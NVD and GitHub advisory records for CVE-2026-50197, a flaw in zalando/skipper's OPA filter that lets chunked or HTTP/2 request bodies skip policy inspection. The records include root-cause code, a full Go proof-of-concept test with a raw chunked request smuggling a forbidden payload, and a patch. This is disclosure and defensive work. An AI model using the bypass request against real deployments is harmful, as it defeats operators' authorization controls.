{
  "affected": [
    {
      "affectedData": [
        {
          "product": "skipper",
          "vendor": "zalando",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.26.10"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Skipper is an HTTP router and reverse proxy for service composition. Prior to 0.26.10, zalando/skipper\u0027s OpenPolicyAgent integration silently bypasses request-body inspection on HTTP/1.1 Transfer-Encoding: chunked and HTTP/2 requests that omit the content-length pseudo-header, because the opaAuthorizeRequestWithBody filter and OpenPolicyAgentInstance.ExtractHttpBodyOptionally in filters/openpolicyagent/openpolicyagent.go produce an empty raw_body and input.parsed_body while the upstream service receives the full attacker-controlled body. This issue is fixed in version 0.26.10."
    }
  ],
  "id": "CVE-2026-50197",
  "lastModified": "2026-07-23T18:02:00.793",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-50197",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T14:33:19.738683Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-17T20:17:24.087",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zalando/skipper/commit/3152f3b0bb52ca89c3564be42434db0a2a1cea23"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zalando/skipper/pull/4041"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.26.10"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-659f-rgp5-w4wf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-659f-rgp5-w4wf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-444"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.26.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-08T20:23:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`zalando/skipper`\u0027s OpenPolicyAgent integration silently bypasses request-body\ninspection on HTTP/1.1 `Transfer-Encoding: chunked` and HTTP/2 requests that\nomit the `content-length` pseudo-header. When the\n`opaAuthorizeRequestWithBody` filter is configured, the\n`OpenPolicyAgentInstance.ExtractHttpBodyOptionally` helper produces an\nempty `raw_body` for any request whose `Content-Length` header is missing,\nwhile the underlying chunked body still flows through to the upstream\nservice. Rego policies that gate on `input.parsed_body` (e.g. \"deny when a\nforbidden field is present\") evaluate against an empty document, treat the\nforbidden field as absent, and authorize the request. The upstream handler\nthen receives the full attacker payload that the policy intended to block.\n\n### Affected versions\n\n`github.com/zalando/skipper` versions `\u003c= v0.26.8` (the latest release on\n2026-05-26, current `master` `4eed47ff`). The vulnerable helper and gate\nhave lived in `filters/openpolicyagent/openpolicyagent.go` since the\nbuffered-body extractor was introduced; no released version contains the\nfix at the time of filing.\n\n### Privilege required\n\nUnauthenticated network access to the skipper proxy listener. The threat\nmodel targets operators who place skipper in front of a private upstream\nand rely on `opaAuthorizeRequestWithBody` to enforce body-content checks\n(field allow/deny lists, payload schema gates, content-moderation flags,\nmulti-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients\nare affected; HTTP/2 traffic without a `content-length` pseudo-header is\nthe dominant case because Go\u0027s `net/http` sets\n`http.Request.ContentLength = -1` for chunked HTTP/1.1 AND for HTTP/2\nrequests whose framing carries the body as DATA frames without an explicit\nlength header.\n\n### Root cause\n\n`filters/openpolicyagent/openpolicyagent.go:1242-1269` (HEAD `4eed47ff`):\n\n```go\nfunc bodyUpperBound(contentLength, maxBodyBytes int64) int64 {\n    if contentLength \u003c= 0 {\n        return maxBodyBytes\n    }\n    if contentLength \u003c maxBodyBytes {\n        return contentLength\n    }\n    return maxBodyBytes\n}\n\nfunc (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n    body := req.Body\n    if body != nil \u0026\u0026 !opa.EnvoyPluginConfig().SkipRequestBodyParse \u0026\u0026\n        req.ContentLength \u003c= int64(opa.maxBodyBytes) {\n        wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n        requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n        if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n            return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n        }\n        rawBody, err := wrapper.fillBuffer(req.ContentLength)\n        return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n    }\n    return req.Body, nil, func() {}, nil\n}\n```\n\n`filters/openpolicyagent/openpolicyagent.go:1195-1210`:\n\n```go\nfunc (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) {\n    var err error\n    for err == nil \u0026\u0026 int64(m.bodyBuffer.Len()) \u003c m.maxBufferSize \u0026\u0026 int64(m.bodyBuffer.Len()) \u003c expectedSize {\n        var n int\n        n, err = m.input.Read(m.readBuffer)\n        m.bodyBuffer.Write(m.readBuffer[:n])\n    }\n    if err == io.EOF { err = nil }\n    return m.bodyBuffer.Bytes(), err\n}\n```\n\nWhen the client sends `Transfer-Encoding: chunked` (HTTP/1.1) or an\nHTTP/2 request without `content-length`, Go\u0027s `net/http` server sets\n`req.ContentLength = -1`. The gate at line 1258 (`req.ContentLength \u003c=\nint64(opa.maxBodyBytes)`) is true (`-1 \u003c= positiveLimit`), so the body\ngets wrapped in `bufferedBodyReader`. `bodyUpperBound(-1, max)` returns\n`max`, so the memory semaphore is acquired, but `fillBuffer(-1)` then\nevaluates `int64(m.bodyBuffer.Len()) \u003c expectedSize` as `0 \u003c -1`, which\nis false on the first iteration. The loop never enters, the buffer stays\nempty, and the helper returns `[]byte{}` as `rawBody` to the caller.\n\nThe caller in\n`filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121`\nhands this empty slice to `envoy.AdaptToExtAuthRequest` which puts it\ninto `AttributeContext.Request.Http.RawBody`. The OPA SDK then exposes\nthe empty buffer as both `input.attributes.request.http.raw_body` and\nthe parsed `input.parsed_body` document (the latter becomes an\nempty/undefined value). Any Rego rule that asserts the presence of a\nforbidden field in `input.parsed_body` evaluates to undefined and fails\ninto the rule\u0027s default (typically `allow`).\n\nMeanwhile, the wrapped `body` returned to the filter (`req.Body = body`\nat line 127 of `opaauthorizerequest.go`) is a `bufferedBodyReader` whose\n`Read()` falls through to the underlying `m.input.Read(p)` when the\nbuffer is empty (lines 1212-1228). The upstream handler therefore reads\nthe full attacker payload that OPA was never given a chance to inspect.\n\n### Reproduction (E2E against pinned `github.com/zalando/skipper@v0.26.8`)\n\nGHSA advisories have no file-attachment mechanism, so the complete\n`poc_test.go` source and the verbatim `go test` output are inlined below.\n\nThe PoC is a Go test placed in\n`filters/openpolicyagent/opaauthorizerequest/poc_test.go` inside a checkout\nof the `v0.26.8` tag, so it links against the exact released source. It\nboots a real skipper proxy via `proxytest.New`, configures it with the\n`opaAuthorizeRequestWithBody` filter pointing at an in-process\n`opasdktest.MustNewServer` bundle server, installs a Rego policy that\nDENIES requests whose body contains `admin=true`, and adds a tiny upstream\nthat records the body it actually received. It then drives the proxy over a\nraw TCP socket (`net.DialTimeout` + `http.ReadResponse`) to control the\nwire framing precisely, sending three requests.\n\n`poc_test.go`:\n\n```go\npackage opaauthorizerequest\n\n// PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing.\n//\n// The filter\u0027s body extractor (filters/openpolicyagent/openpolicyagent.go,\n// ExtractHttpBodyOptionally) gates on `req.ContentLength \u003c= maxBodyBytes`\n// and then calls fillBuffer(req.ContentLength). When the client sends the\n// body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a\n// declared length, net/http sets req.ContentLength = -1. The gate passes\n// (-1 \u003c= max) but fillBuffer\u0027s loop condition `len(buf) \u003c expectedSize(-1)`\n// is immediately false, so the buffered body is EMPTY. OPA therefore sees an\n// empty input.parsed_body, a deny-policy that keys on the body fails open,\n// and the full attacker body is forwarded upstream.\n//\n// This test boots a real skipper proxy (proxytest) with the\n// opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle\n// server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny\n// upstream that records the body it actually received. It then drives the\n// proxy over a raw TCP socket to control the wire framing precisely.\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/proxy/proxytest\"\n\t\"github.com/zalando/skipper/tracing/tracingtest\"\n\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n)\n\n// rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and\n// returns the parsed HTTP response.\nfunc rawRequest(t *testing.T, addr, wire string) *http.Response {\n\tt.Helper()\n\tconn, err := net.DialTimeout(\"tcp\", addr, 5*time.Second)\n\tif err != nil {\n\t\tt.Fatalf(\"dial %s: %v\", addr, err)\n\t}\n\tdefer conn.Close()\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n\tif _, err := io.WriteString(conn, wire); err != nil {\n\t\tt.Fatalf(\"write wire: %v\", err)\n\t}\n\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), nil)\n\tif err != nil {\n\t\tt.Fatalf(\"read response: %v\", err)\n\t}\n\t// Drain so the body received by upstream is flushed before we inspect it.\n\t_, _ = io.Copy(io.Discard, resp.Body)\n\t_ = resp.Body.Close()\n\treturn resp\n}\n\nfunc TestSkipperOPABypassPoC(t *testing.T) {\n\t// Upstream records, per request, the body bytes it actually received.\n\tvar mu sync.Mutex\n\tvar upstreamBodies []string\n\tupstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tb, _ := io.ReadAll(r.Body)\n\t\tmu.Lock()\n\t\tupstreamBodies = append(upstreamBodies, string(b))\n\t\tmu.Unlock()\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"UPSTREAM-REACHED\"))\n\t}))\n\tdefer upstream.Close()\n\n\t// OPA bundle: allow by default, deny only when the parsed body says admin==true.\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/test\", map[string]string{\n\t\t\t\"main.rego\": `\n\t\t\t\tpackage envoy.authz\n\n\t\t\t\timport rego.v1\n\n\t\t\t\tdefault allow := true\n\n\t\t\t\tallow := false if {\n\t\t\t\t\tinput.parsed_body.admin == true\n\t\t\t\t}\n\t\t\t`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\n\t\t\t\"test\": {\n\t\t\t\t\"url\": %q\n\t\t\t}\n\t\t},\n\t\t\"bundles\": {\n\t\t\t\"test\": {\n\t\t\t\t\"resource\": \"/bundles/{{ .bundlename }}\"\n\t\t\t}\n\t\t},\n\t\t\"labels\": {\n\t\t\t\"environment\": \"test\"\n\t\t},\n\t\t\"plugins\": {\n\t\t\t\"envoy_ext_authz_grpc\": {\n\t\t\t\t\"path\": \"envoy/authz/allow\",\n\t\t\t\t\"dry-run\": false\n\t\t\t}\n\t\t}\n\t}`, opaControlPlane.URL())\n\n\topts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{\n\t\topenpolicyagent.WithConfigTemplate(config),\n\t}\n\n\topaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithTracer(tracingtest.NewTracer()),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"registry: %v\", err)\n\t}\n\n\tfr := make(filters.Registry)\n\tfr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory))\n\tfr.Register(builtin.NewSetPath())\n\n\t// Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream.\n\tr := eskip.MustParse(fmt.Sprintf(\n\t\t`* -\u003e opaAuthorizeRequestWithBody(\"test\") -\u003e \"%s\"`, upstream.URL))\n\n\tproxy := proxytest.New(fr, r...)\n\tdefer proxy.Close()\n\n\thost := strings.TrimPrefix(proxy.URL, \"http://\")\n\n\ttype tc struct {\n\t\tname       string\n\t\twire       string\n\t\twantStatus int\n\t\twantUpstrm bool // whether upstream is expected to be reached\n\t}\n\n\tcases := []tc{\n\t\t{\n\t\t\tname: \"1: Content-Length benign body -\u003e 200 ALLOW\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 15\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":false}`,\n\t\t\twantStatus: 200,\n\t\t\twantUpstrm: true,\n\t\t},\n\t\t{\n\t\t\tname: \"2: Content-Length admin body -\u003e 403 DENY (negative control)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 14\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":true}`,\n\t\t\twantStatus: 403,\n\t\t\twantUpstrm: false,\n\t\t},\n\t\t{\n\t\t\tname: \"3: chunked admin body -\u003e EXPECTED 403, BUG 200 (bypass)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Transfer-Encoding: chunked\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t\"e\\r\\n\" +\n\t\t\t\t`{\"admin\":true}` + \"\\r\\n\" +\n\t\t\t\t\"0\\r\\n\" +\n\t\t\t\t\"\\r\\n\",\n\t\t\twantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200\n\t\t\twantUpstrm: true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tmu.Lock()\n\t\tbefore := len(upstreamBodies)\n\t\tmu.Unlock()\n\n\t\tresp := rawRequest(t, host, c.wire)\n\n\t\tmu.Lock()\n\t\treached := len(upstreamBodies) \u003e before\n\t\tvar lastBody string\n\t\tif reached {\n\t\t\tlastBody = upstreamBodies[len(upstreamBodies)-1]\n\t\t}\n\t\tmu.Unlock()\n\n\t\tt.Logf(\"[%s] status=%d upstreamReached=%v upstreamBody=%q\",\n\t\t\tc.name, resp.StatusCode, reached, lastBody)\n\n\t\tif resp.StatusCode != c.wantStatus {\n\t\t\tt.Errorf(\"[%s] status = %d, want %d\", c.name, resp.StatusCode, c.wantStatus)\n\t\t}\n\t\tif reached != c.wantUpstrm {\n\t\t\tt.Errorf(\"[%s] upstreamReached = %v, want %v\", c.name, reached, c.wantUpstrm)\n\t\t}\n\t}\n\n\t// Explicit bypass assertion: the chunked admin body MUST have reached\n\t// upstream verbatim despite the deny policy.\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tbypassed := false\n\tfor _, b := range upstreamBodies {\n\t\tif b == `{\"admin\":true}` {\n\t\t\tbypassed = true\n\t\t}\n\t}\n\tif bypassed {\n\t\tt.Logf(\"BYPASS CONFIRMED: upstream received {\\\"admin\\\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\")\n\t} else {\n\t\tt.Errorf(\"expected the chunked admin body to reach upstream (bypass), but it did not\")\n\t}\n}\n```\n\nThe three requests cover:\n\n| # | Wire framing | Body | Expected | Got |\n|---|--------------|------|----------|-----|\n| 1 | `Content-Length: 15` | `{\"admin\":false}` | 200 ALLOW | 200 (upstream reached) |\n| 2 | `Content-Length: 14` | `{\"admin\":true}` | 403 DENY  | 403 (OPA blocked) |\n| 3 | `Transfer-Encoding: chunked` | `{\"admin\":true}` | 403 DENY | **200 ALLOW (bypass)** |\n\nTest 3 wire bytes: `POST /priv HTTP/1.1\\r\\nHost: ...\\r\\nContent-Type:\napplication/json\\r\\nConnection: close\\r\\nTransfer-Encoding:\nchunked\\r\\n\\r\\ne\\r\\n{\"admin\":true}\\r\\n0\\r\\n\\r\\n`.\n\nRun command and verbatim output (`go version go1.26.3 darwin/arm64`,\n`github.com/open-policy-agent/opa v1.14.1` as pinned by skipper `v0.26.8`):\n\n```\n$ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/\n=== RUN   TestSkipperOPABypassPoC\n2026/05/28 14:43:47 route settings, reset, route: : * -\u003e opaAuthorizeRequestWithBody(\"test\") -\u003e \"http://127.0.0.1:57343\"\n2026/05/28 14:43:47 route settings received, id: 1\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"Starting OPA instance...\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{NOT_READY \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=true status=map[bundle:{OK \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\n2026/05/28 14:43:47 route settings applied, id: 1\n    poc_test.go:211: [1: Content-Length benign body -\u003e 200 ALLOW] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":false}\"\n    poc_test.go:211: [2: Content-Length admin body -\u003e 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody=\"\"\n    poc_test.go:211: [3: chunked admin body -\u003e EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":true}\"\n    poc_test.go:233: BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\n--- PASS: TestSkipperOPABypassPoC (0.11s)\nPASS\nok  \tgithub.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\t1.897s\n```\n\nTest 1 (Content-Length, benign body) is allowed and reaches upstream with\n`{\"admin\":false}`. Test 2 is the negative control: the same `{\"admin\":true}`\npayload sent with a `Content-Length` header is correctly DENIED (HTTP 403)\nand never reaches the upstream, proving the policy itself is sound. Test 3\nsends the identical forbidden body as `Transfer-Encoding: chunked`; OPA\nevaluates an empty `parsed_body`, the deny rule fails open, the proxy\nreturns HTTP 200, and the upstream receives the full `{\"admin\":true}`\npayload that the policy was configured to block.\n\n### Impact\n\nOperators relying on `opaAuthorizeRequestWithBody` for body-content\nauthorization are silently downgraded to header/path-only authorization\nfor any client that emits chunked or HTTP/2 requests. Concrete\nproduction patterns affected:\n\n- \"Deny when body contains admin/privileged field\" guardrails for\n  multi-tenant or role-stratified APIs;\n- \"Deny when content-moderation flag is present\" filters in front of\n  user-content endpoints;\n- \"Deny when payload schema version is forbidden\" gates for\n  deprecated-API shutdown;\n- \"Deny when SQL/command-injection-shaped string is present\" generic\n  body validators.\n\nIn every case the chunked attack arrives with the forbidden body\nintact, OPA evaluates against an empty document, the policy fails open,\nand the upstream receives the attacker payload that the deployment was\nspecifically configured to block. There is no log signal in OPA\u0027s\ndecision log distinguishing \"body was empty\" from \"client did not send\na body\".\n\nNote that the OPA decision log will record the request as ALLOWED with\n`raw_body` length 0, which complicates post-hoc forensic detection. The\nupstream\u0027s request log will show the full body, producing a confusing\nallow/observed asymmetry across systems.\n\nCVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` (8.5 HIGH). Scope is\nChanged because the failure crosses the trust boundary between the\nauthorization filter and the upstream service.\n\n### Suggested fix\n\n`filters/openpolicyagent/openpolicyagent.go`:\n\n```diff\n func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n \tbody := req.Body\n \n+\t// `req.ContentLength == -1` is set by net/http when the client uses\n+\t// Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in\n+\t// HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and\n+\t// drive fillBuffer with the policy cap instead of the negative\n+\t// sentinel, otherwise the fillBuffer loop short-circuits on its\n+\t// `len \u003c expectedSize` predicate and OPA evaluates an empty body.\n+\texpectedSize := req.ContentLength\n+\tif expectedSize \u003c 0 {\n+\t\texpectedSize = opa.maxBodyBytes\n+\t}\n+\n \tif body != nil \u0026\u0026 !opa.EnvoyPluginConfig().SkipRequestBodyParse \u0026\u0026\n-\t\treq.ContentLength \u003c= int64(opa.maxBodyBytes) {\n+\t\texpectedSize \u003c= int64(opa.maxBodyBytes) {\n \n \t\twrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n \n-\t\trequestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n+\t\trequestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes)\n \t\tif !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n \t\t\treturn req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n \t\t}\n \n-\t\trawBody, err := wrapper.fillBuffer(req.ContentLength)\n+\t\trawBody, err := wrapper.fillBuffer(expectedSize)\n \t\treturn wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n \t}\n \n \treturn req.Body, nil, func() {}, nil\n }\n```\n\nAfter the fix, `fillBuffer(maxBodyBytes)` reads chunked bodies up to\nthe configured cap. If the body exceeds the cap, the existing `Read()`\npath already returns the wrapped reader for downstream consumption,\nmatching the documented behaviour for over-cap requests today; the\noperator-configured `maxRequestBodyBytes` continues to be the single\nknob governing memory allocation.\n\nA regression test `TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed`\nin `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go`\nshould send a `Transfer-Encoding: chunked` request matching a\nblacklist policy and assert HTTP 403, and a same-payload Content-Length\nrequest to confirm parity.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-659f-rgp5-w4wf",
  "modified": "2026-07-08T20:23:44Z",
  "published": "2026-07-08T20:23:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-659f-rgp5-w4wf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper: opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding \u2014 chunked / HTTP/2 requests"
}